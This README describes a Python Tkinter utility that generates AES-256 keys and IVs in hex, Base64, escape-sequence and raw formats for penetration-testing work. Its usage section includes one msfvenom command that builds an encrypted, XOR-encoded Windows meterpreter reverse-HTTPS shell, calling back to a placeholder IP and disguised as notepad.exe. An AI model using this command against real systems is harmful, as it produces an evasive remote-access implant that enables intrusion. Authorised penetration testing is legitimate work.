A professional Python application for generating cryptographically secure AES-256 encryption keys and initialization vectors (IVs) with multiple output formats suitable for various applications including penetration testing tools like msfvenom.
Cryptographically Secure Generation: Uses os.urandom() for secure random number generation
Hexadecimal (ideal for msfvenom)
Base64 encoding
Escape sequences (for code implementation)
Raw bytes representation
Intuitive interface built with Tkinter
Clipboard Integration: One-click copying of generated values
Cross-Platform Compatibility: Works on Windows, macOS, and Linux
Clone or download this repository
Install required dependencies:
bash pip install -r requirements.txt
Run the application:
bash python aes_key_generator.py
Generate new values:
Click "Generate New" to create a fresh AES-256 key and IV
Select output format:
Choose from Hex, Base64, Escape Sequences, or Raw Bytes
Copy values:
Use the "Copy Key", "Copy IV", or "Copy Both" buttons to transfer values to clipboard
The application requires the following dependencies (automatically installed via requirements.txt):
Python 3.6+
Tkinter (usually included with Python standard library)
When using with msfvenom, select the Hex format and use the values with the appropriate flags:
bash msfvenom -p windows/x64/meterpreter_reverse_https LHOST=YOUR_IP LPORT=YOUR_PORT \ --encryption aes256 --encryption_key YOUR_KEY --encryption_iv YOUR_IV --encoder x64/xor_dynamic --iterations 5 --arch x64 --platform windows -f exe -o notepad.exe --timeout 65
Always generate new keys and IVs for each encryption operation
Never reuse the same key/IV combination
Store keys securely using appropriate secret management solutions
This tool uses cryptographically secure random generation (os.urandom)
